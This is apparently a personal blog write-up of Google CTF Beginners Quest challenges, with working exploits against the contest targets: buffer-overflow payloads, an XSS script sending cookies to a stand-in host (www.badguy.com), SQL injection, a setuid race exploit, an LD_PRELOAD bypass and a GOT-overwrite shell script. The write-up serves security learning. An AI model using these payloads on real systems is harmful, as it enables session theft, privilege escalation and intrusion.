This post documents Part 2 of my attempt to complete Google CTF: Beginners Quest. If you are uncomfortable with spoilers, please stop reading now.

Background

Google concluded their Google CTF a month ago. I didn’t take part, so I thought of giving a go at the Beginners Quest first. I was thinking to myself, “how hard could this be?“—boy was I wrong. It’s not that easy.

The quest has nineteen challenges as shown in the quest map—each color representing a category: purple (misc), green (pwn/pwn-re), yellow (re), and blue (web). Every challenge, if there’s a need—contains an attachment—an archive file with its SHA256 hash as filename.

Letter Floppy Floppy 2 Moar Admin UI Admin UI 2 JS Safe OCR is Cool Security by Obscurity Router UI Message of the Day Poetry Fridge Todo List Admin UI 3 Filter Env Firmware Gatekeeper Media-DB Holey Beep

Click or tap on the circles above to go to the respective challenge and its write-up.

Admin UI 3

There’s no attachment in this challenge. Instead, we are to continue from the previous challenge.

Admin UI 3

Let’s go to where we left off in Admin UI 2 and see what happens after the authentication.

command_line

The execution flow goes to the function command_line() after authentication as you can see above.

getsx

Here, we are at the function getsx(), which reads from stdin, and the argument is the address of a buffer that stores the input. Notice that there’s no argument for the size of the input to read? I smell buffer overflow in the stack!

Let’s create a pattern with pattern_create.

pattern_create

And use that to determine the offset where we can control the return address.

pattern

We need to continue the execution flow in gdb until we exit the command_line function with the quit command. We’ll hit a segmentation fault because the return address is non-existent. We can then use the pattern_offset command to determine the offset.

offset

The offset is 56 bytes but what should we overwrite the return address with?

debug_shell

There’s an interesting function debug_shell that wraps around the system library function to execute a shell command, but what is this command?

/bin/sh

Awesome. The offset controls the return address, which in turn allows us to return to debug_shell at 0x41414227 to execute /bin/sh. Sounds like a plan.

For the exploit to work, we’ve to supply printable ASCII characters onto the limited shell—the return address 0x41414227 is 'BAA in little-endian ASCII.

shell

We got shell!

flag

The flag is CTF{c0d3ExEc?W411_pL4y3d}.

Router-UI

There’s no attachment in this challenge. Instead, we are to follow the link.

Router-UI

Looking at the instructions, it appears this challenge has something to do with enticing Wintermuted to click on a link; stealing session token through XSS; and bypassing the Chrome XSS Auditor. This is how https://router-ui.web.ctfcompetition.com/ looks like.

web-router-ui

Anyhow, let’s go with (admin:password) and see what happens.

admin:password

Hmm. Wrong credentials but interesting output. Notice that a double slash (“//”) separates the username and password? When was the last time you see a double slash (“//”)? If the answer is “URL”, you are right!

RFC3986

This is what RFC 3986: Uniform Resource Identifier (URI) has to say.

Guess what happens when we put <script src="https: into the username value and www.badguy.com/bad.js"></script> into the password value?

Wrong credentials: <script src="https://www.badguy.com/bad.js"></script>

The page at https://router-ui.web.ctfcompetition.com responds with the wrong credentials notification, and a <script> tag that loads bad JS from the www.badguy.com domain.

The file bad.js can be simple as this to steal the session cookies registered with router-ui.web.ctfcompetition.com.

bad.js
document.location = 'http://www.badguy.com/flag.png?' + document.cookie;

Next up, we’ve to figure out the link to send to Wintermuted such that clicking the link has the same effect as POSTing the username and password as seen above to https://router-ui.web.ctfcompetition.com/login and triggering the bad JS, without any user interaction.

This is how it looks like.

index.html
<html>
  <body>
    <form action="https://router-ui.web.ctfcompetition.com/login" method="post">
      <input type="text" name="username" value='<script src="https:'>
      <input type="password" name="password" value='www.badguy.com/bad.js"></script>'>
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Now that we’ve set up the stage, it’s time to test it out!

Email

Once we’ve sent the email, Wintermuted will click on the link because who doesn’t like cats?

Token

On the web server I control (I’m using Python SimpleHTTPServer module), we can see the HTTP requests that Wintermuted makes. And what do you see?

flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja

We see two cookies: flag and session. Let’s pop them into the cookie manager.

flag

session

Now, we are able to login to https://router-ui.web.ctfcompetition.com/.

web-router-ui

The flag is in the password <input> field.

flag

The flag is CTF{Kao4pheitot7Ahmu}.

Firmware

The attachment is here

Firmware

Let’s unzip firmware.zip.

# unzip -l firmware.zip
Archive:  firmware.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
 85257917  1980-00-00 00:00   challenge.ext4.gz
---------                     -------
 85257917                     1 file

This file is huge (82MB) and it appears to contain a Linux ext4 filesystem.

# file challenge.ext4
challenge.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e53758 (extents) (64bit) (large files) (huge files)

How do I mount a filesystem in a file? With mount of course!

mount

There’s already something interesting for the curious.

# zcat .mediapc_backdoor_password.gz
CTF{I_kn0W_tH15_Fs}

The flag is CTF{I_kn0W_tH15_Fs}.

Gatekeeper

The attachment is here.

Gatekeeper

Let’s unzip gatekeeper.zip.

# unzip -l gatekeeper.zip
Archive:  gatekeeper.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    13152  1980-00-00 00:00   gatekeeper
---------                     -------
    13152                     1 file

The file gatekeeper is a ELF, an executable format commonly found in GNU/Linux distributions.

Reverse engineering is tough. You need all the help you can get by doing less of the demanding tasks like reading assembly; and by taking more shortcuts as possible such as looking at the strings of the file; and by observing the program’s behavior instead of putting every file into a debugger or disassembler.

Let’s take a look at the strings.

# strings -a gatekeeper
...
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
ACCESS DENIED
[ERROR] Login information missing
Usage: %s <username> <password>
 ~> Verifying.
0n3_W4rM
 ~> Incorrect username
zLl1ks_d4m_T0g_I
Correct!
Welcome back!
CTF{%s}
 ~> Incorrect password
...

These strings looked interesting. Now, let’s run the program and look at its output.

./gatekeeper

Hmm. We need to supply username and password as arguments to the program. Let’s go with test:test.

test:test

Notice something? It didn’t say incorrect username or password, which suggests that the program evaluates the username and password one after another. Recall the interesting strings from above. Let’s pop in 0n3_W4rM as the username and see what happens.

Username

The username 0n3_W4rM is correct. :smirk: Perhaps the password in the interesting strings as well? Let’s go with zLl1ks_d4m_T0g_I and see what happens.

Wrong Password

Oops, wrong password. What if I reverse the password?

Right Password

Look Ma, no assembly. :grin:

The flag is CTF{I_g0T_m4d_sk1lLz}.

Media-DB

There’s no attachment in this challenge. Instead, there’s a hint to connect to media-db.ctfcompetition.com at port 1337 with nc.

Media-DB

Let’s do that.

nc

I discover my first clue after playing around with the interface. Media-DB is running on Python code media-db.py.

IndexError

The next clue comes after much persuasive coaxing by a well-known character in SQLi—the single quote. Well, two well-known characters actually—the backslash as well.

sqlite3.OperationalError

Media-DB is running on Python and SQLite. But, how do we proceed knowing this information? As you can see from above, the mechanism behind Option 4) shuffle artist is to display column artist and song from the table media after you have added a song through Option 1) add song.

Look Ma No Hands

Using UNION, we can glean hidden information in other tables. First, we need to find the available tables.

Schema

This is the database schema. Armed with this knowledge, we can dump out all the information in the database.

OAuth Token

The flag is CTF{fridge_cast_oauth_token_cahn4Quo}.

Message of the Day

The attachment is here. And there’s a hint to connect to motd.ctfcompeetition.com at port 1337 with nc.

Message of the Day

Let’s unzip motd.zip.

# unzip -l motd.zip
Archive:  motd.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    33784  1980-00-00 00:00   motd
---------                     -------
    33784                     1 file

I’m guessing motd is the binary running behind motd.ctfcompetition.com, and we’ve to exploit it to pwn this challenge.

motd

After playing around with the online version, the flag should be behind 4 - Get admin MOTD. Disassembling motd confirms my hunch. There’s a read_flag function in motd.

read_flag

Other functions correspond to the options as well.

Functions

Well, to pwn this challenge, we need a way to enter user-supplied input to the binary. We have two such functions, set_admin_motd and set_motd.

The function set_admin_motd merely prints out a TODO message to stdout. That leaves set_motd for me to explore.

Unsafe function gets.

set_motd

While I was stepping through set_motd, I noticed the use of an unsafe function gets. This is what the manpage of gets has to say.

gets

Woohoo! A buffer overflow exploit—this means that I can send an input to overwrite the return address, but which address should I use? The address of read_flag of course.

Not so fast, Captain Obvious.

We also need to consider the offset that lets us control the return address. Let’s see how we can determine the offset.

pattern_create

First, let’s create a 300-byte pattern. This is how the pattern looks like.

buf

After we supply the pattern as input to gets, let the program continue in gdb. We’ll soon encounter a segmentation fault.

segfault

Use pattern_offset to look for the pattern at the top of the stack, to determine the offset.

pattern_offset

We now have all the ingredients to bake our exploit.

  • Offset is 264 bytes
  • Overwrite the return address to that of read_flag @ 0x606063a5
# perl -e 'print "A" x 264 . "\xa5\x63\x60\x60\x00\x00"' > sploit

Time to run the exploit.

sploit

The flag is CTF{m07d_1s_r3t_2_r34d_fl4g}

Poetry

The attachment is here. And there’s a hint to connect to poetry.ctfcompetition.com at port 1337 with nc.

Poetry

Let’s unzip poetry.zip.

# unzip -l poetry.zip
Archive:  poetry.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   917192  1980-00-00 00:00   poetry
---------                     -------
   917192                     1 file

This challenge is slightly different. Connecting to poetry.ctfcompetition.com at port 1337 gives you a shell as user with an empty prompt string.

shell

The attached file is at /home/poetry/poetry. The attached poetry and the online poetry have the same SHA256 hash.

SHA256 hash of attached poetry

poetry

SHA256 hash of online poetry

poetry

Having the identical executable will assist us in determining how to exploit it.

Right off the bat, I notice the following:

  • The executable is setuid to poetry
  • The executable is statically linked, which explains the size (917192 bytes).

The size is telling—this is perhaps a feeble attempt to throw off any analysis in reverse engineering the executable. Despite its size, the behavior of the executable is somewhat simple after some reverse engineering.

poetry.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {
  if (!getenv("LD_BIND_NOW")) {
    char buf[4096];
    if (readlink("/proc/self/exe", buf, 4096)) {
      setenv("LD_BIND_NOW", "1", 1);
      execv(buf, argv);
    }
  }

  if (argc < 2) {
    return 0;
  } else {
    puts("o/\n");
    // do something
    syscall(0xe7);
  }
}

Searching for readlink, /proc/self/exe, and vulnerability in Google brings me to a old blog post on CVE-2009-1894.

Like the code of pulseaudio in the post, poetry is re-executing itself through /proc/self/exe, so that the dynamic linker performs all relocation at load-time. Here’s the irony—poetry is statically linked—it doesn’t require the dynamic linker.

Essentially, this challenge is about exploiting a race condition such that when we are reading the symbolic link /proc/self/exe through readlink; we create a hardlink and thereby control the path to a executable that we want to run; and have execv execute that instead. And because poetry is setuid to poetry, we want to run a executable that reads the flag at /home/poetry/flag. Let’s call it recite.c since we are reciting poetry after all.

recite.c
#include <stdio.h>

int main() {
  char flag[20]; // the flag is 19 bytes in size
  FILE *f;
  f = fopen("/home/poetry/flag", "r");
  fgets(flag, 20, f);
  puts(flag);
  return 0;
}

There’s one small caveat—the online shell doesn’t have gcc. I’ve to compile recite.c locally, compress it, and transfer it over to the online shell through base64.

At the local machine, do the following:

# gcc -o recite recite.c
# gzip recite
# base64 recite.gz | tr -d '\n' && echo

At the online shell, do the following:

$ echo H4sICK...AAA= > recite.gz.b64
$ base64 -d < recite.gz.b64 > recite.gz
$ gunzip recite.gz
$ chmod +x recite

I chanced upon another blog post that documented a method to reliably exploit the race condition—through the file descriptor.

Now that we’ve set the stage, let’s proceed with the exploit.

Create a hardlink to /home/poetry/poetry. Let’s call it x for exploit.

hardlink

Hardlink is a link to the same file with the same inode number (5). You can see that x is also setuid to poetry. Hardlink is not enabled by default for security reason (at least on my GNU/Linux distribution), which you’ll see why later. You can temporarily enable it by setting:

# echo 0 > /proc/sys/fs/protected_hardlinks

Next, we open a file descriptor to the hardlink in the current shell. Note that we have not executed the hardlink. We are merely ‘recording’ everything about the hardlink in the file descriptor.

fd

Delete the hardlink.

delete

You can see from above, there’s a (deleted) appended to x. The symbolic link appears broken but the hardlink is actually still present in the file descriptor.

Rename recite to x (deleted). Execute /proc/$$/fd/3 with exec.

flag

When we execute the file descriptor, it’s the same as executing x— a hardlink to poetry (same owner, same setuid). When readlink reads /proc/self/exe, it’s actually reading /proc/$$/fd/3—itself a symbolic link to x (deleted), which is then supplied to execv as an argument for execution. Guess what, x (deleted) is now our recite program and recite dutifully prints out the flag.

The flag is CTF{CV3-2009-1894}.

Filter Env

The attachment is here. And there’s a hint to connect to env.ctfcompetition.com at port 1337 with nc.

Filter Env

Let’s unzip filterenv.zip.

# unzip -l env.zip
Archive:  env.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     2425  1980-00-00 00:00   filterenv.c
---------                     -------
     2425                     1 file

This challenge is slightly different. Connecting to env.ctfcompetition.com at port 1337 gives you a shell as user with an empty prompt string.

shell

We have the executable filterenv and it’s setuid to adminimum. The flag is also readable by adminimum alone. I’m assuming the file filterenv.c in the attachment is the source code to filterenv.

From the source code, filterenv appears to do the following:

  1. Read an array of environment variables from stdin
  2. Clear the existing environment
  3. Load the array from Step 1 into the environment
  4. Filter unsafe environment variables
  5. Calls /usr/bin/id through execvp

The challenge is to manipulate the setuid program to read the flag through accepting user-controlled input at the readenv function. The program attempts input validation through filtering of unsafe environment variables at the filter_env function.

Let’s look at the filter_env function.

/* reset unsafe variables */
static void filter_env(void)
{
  char **p;

  for (p = unsafe; *p != NULL; p++) {
    if (getenv(*p) != NULL) {
      if (setenv(*p, "", 1) != 0)
  err(1, "setenv");
    }
  }

  /* just be safe, prevent heap spraying attacks */
  shuffle();
}

The function iterates through the unsafe array, evaluates the existence of each environment variable—if it exists in the environment, sets it to an empty string.

There’s a problem with this approach. Suppose there are two identical environment variables in the environment, filter_env will filter the first one and leave out the second one because the getenv function returns the pointer to the first matching environment variable.

Armed with this information, we can provide two identical unsafe environment variables, filter the first one and load the second one into the environment.

Let’s use the LD_PRELOAD environment variable. This is what ld.so(8) says about LD_PRELOAD.

LD_PRELOAD

This should work because execvp takes the extern variable environ as the environment. Also, /usr/bin/id is a dynamically-linked executable and the dynamic loader will honor the LD_PRELOAD environment variable.

The shared object loaded in LD_PRELOAD should help us read the flag. This simple code readflag.c does that.

readflag.c
#include <stdio.h>

void _init() {
	char flag[20]; // the flag is 19 bytes
	FILE *f;
	f = fopen("/home/adminimum/flag", "r");
	fgets(flag, 20, f);
	puts(flag);
}

There’s one small caveat—the online shell doesn’t have gcc. I’ve to compile readflag.c locally, compress it, and transfer it over to the online shell through base64.

At the local machine, do the following:

# gcc -fPIC -shared -nostartfiles -o readflag.so readflag.c
# gzip readflag.so
# base64 readflag.so.gz | tr -d '\n' && echo

At the online shell, do the following:

$ echo H4sIC...AAA= > /tmp/readflag.so.gz.b64
$ base64 -d < /tmp/readflag.so.gz.b64 > /tmp/readflag.so.gz
$ gunzip /tmp/readflag.so.gz

Let’s give it a shot.

flag

The flag is CTF{H3ll0-Kingc0p3}.

Fridge Todo List

The attachement is here. And there’s a hint to connect to fridge-todo-list.ctfcompetition.com at port 1337 with nc.

Frdige Todo List

Let’s unzip todo.zip.

# unzip -l todo.zip
Archive:  todo.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    18224  1980-00-00 00:00   todo
     9197  1980-00-00 00:00   todo.c
---------                     -------
    27421                     2 files

This challenge requires us to play the role of a bug hunter. We need to find the bug that will let us exploit it to reveal the flag. Good thing we have the source code. We can compile it with gcc -g to generate debug information, allowing us to debug with more ease.

# gcc -g -Wall -o todo todo.c

It wasn’t long before I chanced upon a bug. The program accepts negative integer and there’s different output depending on the input.

bug

The bug is there when you look at the code responsible for printing the TODO entry.

print_todo

Because todos is an array, it’s also a pointer. As such, we are able to read arbitrary memory address, at TODO_LENGTH (48 bytes) boundary with the format string parameter %s in the printf function.

Here we are, at the point where idx = -2 and before the TODO entry gets print out. You can see the address of todos and todos[idx*TODO_LENGTH].

gdb

If printing the TODO entry is reading memory at user-controlled address, then storing the TODO entry is writing memory at user-controlled address. Let’s look at the store_todo function.

store_todo

Here’s what we see when we look at the memory address of the sections in the program.

sections

The .got.plt section is the global offset table (GOT) for the procedure linkage table (PLT) where it contains the resolved target addresses or unresolved addresses from the PLT, waiting to trigger the target address resolution routine when called.

Look how close todos (0x555555559140) is to the .got.plt section (0x555555559000) in the memory.

The .got.plt section is a common target for exploitation because you can change a function to some other executable code you control. Let’s look at the available PLT functions.

PLT functions

From the functions above, [email protected] should be the target. Why?

If you look at the source code, you can see that [email protected] takes in a string as an argument from stdin, after every option gets completed in the while loop. If [email protected] changes to [email protected], and the argument is /bin/sh, guess what will happen? You get a shell.

read_int

To do that, we need to determine the following in a position-independent way:

The GOT of [email protected] remains unresolved until it’s used to write the todos array to file at the end of the program.

GOT of write@plt

We can use -6 as the index to read the memory at 0x555555559020, the GOT of [email protected], where 0x555555559140 is the address of todos.

Assuming the offsets remain unchanged, [email protected] (0x555555555070) is at 0x2a away from the unresolved address of [email protected] (0x55555555046).

GOT of atoi@plt

We can use -4 as the index to write to the memory at 0x555555559088, the GOT of [email protected], where 0x555555559140 is the address of todos. Note that we need eight junk bytes to jump over 0x555555559080 to write to 0x555555559088.

Now that we’ve set the stage, let’s proceed with the exploitation. To that end, I wrote this simple Python script, exploit.py. The script contains a telnet client at the end to interact with the program.

exploit.py
from socket import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("fridge-todo-list.ctfcompetition.com", 1337))

def recv(e):
  r = ""
  while True:
    r += s.recv(1)
    if r.endswith(e):
      break
  return r

print recv(": ")
s.send("wintermuted\n")

print recv("> ")
s.send("2\n")
print recv("? ")
s.send("-6\n")  # read the GOT of [email protected] and print its unresolved address
v = recv("> ")
v = v.split("\n")[0].split(" ")[-1]
v = v + "\0" * (8 - len(v))
write = unpack("<Q", v)[0]  # store unresolved [email protected] address for offset calculation
print "\n*** Unresolved address of [email protected] is at 0x%08x ***" % write

s.send("3\n")
print recv("? ")
s.send("-4\n")  # write to the GOT of [email protected]
print recv("? ")
s.send("JUMPOVER" + pack("<Q", write + 0x2a)[:8] + "\n")
# 8 bytes to jump over; [email protected] is at write+0x2a

t = Telnet()
t.sock = s
t.interact()

Let’s give it a shot.

CountZero

Now that we know Wintermuted is CountZero, let’s look at the TODO list the right way.

flag

The flag is CTF{goo.gl/cjHknW}.

Holey Beep

The attachment is here.

Holey Beep

Let’s unzip holey_beep.zip.

# unzip -l holey_beep.zip
Archive:  holey_beep.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     9000  1980-00-00 00:00   holey_beep
---------                     -------
     9000                     1 file

There’s no source code in this challenge. I’ve no choice but to put my reverse engineering skills to good use.

functions

This is my result of reversing engineering the executable back to source code. I’m confident this is close to the original source code. The compiled executable is almost identical to holey_beep line for line after disassembly.

holey_beep.c
#include <err.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kd.h>

int device = -1;
char *USAGE = "usage: holey_beep period1 [period2] [period3] [...]";

void handle_sigterm(int signum) {

  if (!(device < 0)) {
    if  (ioctl(device, KIOCSOUND, 0) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, 0) failed.", device);
      char data[1024] = {0};
      read(device, &data, sizeof(data)-1);
      fprintf(stderr, "debug_data: \"%s\"", data);
    }
  }
  exit(0);
}

int main(int argc, char *argv[]) {
  if (signal(SIGTERM, handle_sigterm) == (void *)-1)
    errx(1, "signal");

  if (argc <= 1)
    errx(1, USAGE);

  for (int i = 1; i < argc; i++) {
    if ((device = open("dev/console", O_RDONLY)) < 0) {
      errx(1, "open(\"dev/console\", O_RDONLY)");
    } else {
      int period = atoi(argv[i]);
      if (ioctl(device, KIOCSOUND, period) < 0)
        fprintf(stderr, "ioctl(%d, KIOCSOUND, %d) failed.", device, period);
      close(device);
    }
  }
}

With the source code in hand, exploiting the setuid holey_beep becomes trivial.

Right off the bat, the program registers a signal handling function, handle_sigterm, which will take control of execution when SIGTERM, a termination signal gets sent to the program.

If the file descriptor device is a positive number, the program will read 1023 bytes from it and print the result to stderr. Note that the signal handler is counting on ioctl to fail.

Under what circumstances will ioctl fail? As long as the file descriptor is not opened to a character device, ioctl fails. Simple as that.

We could create a symbolic link between /secret_cake_recipe and dev/console. When the program executes, a file descriptor gets opened to dev/console (not a character device) which is a symbolic link to /secret_cake_recipe. Perfect.

Now, how do we send a SIGTERM while the program is running? To that end, I wrote woot.c to automate this.

woot.c
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  pid_t pid = fork();

  if (pid == 0) {
    char *args[] = {"/home/user/holey_beep", "0", NULL};
    execv(args[0], args);
  } else {
    usleep(atoi(argv[1]));
    kill(pid, SIGTERM);
  }

  return 0;
}

We’ll need to use the shell from the previous challenge. Remember, there’s no gcc, so we’ll have to compile it locally, compress it and then copy the base64 representation over to the shell. In the shell, we’ll have to reverse the process.

At the local machine, do the following:

# gcc -o woot woot.c
# gzip woot
# base64 woot.gz | tr -d '\n' && echo

At the shell, do the following:

$ cd /tmp && mkdir dev && ln -s /secret_cake_recipe dev/console
$ echo H4sI...AAA= > woot.gz.b64
$ base64 -d < woot.gz.b64 > woot.gz
$ gunzip woot.gz
$ chmod +x woot

Let’s give it a shot.

flag

The flag is CTF{the_cake_wasnt_a_lie}.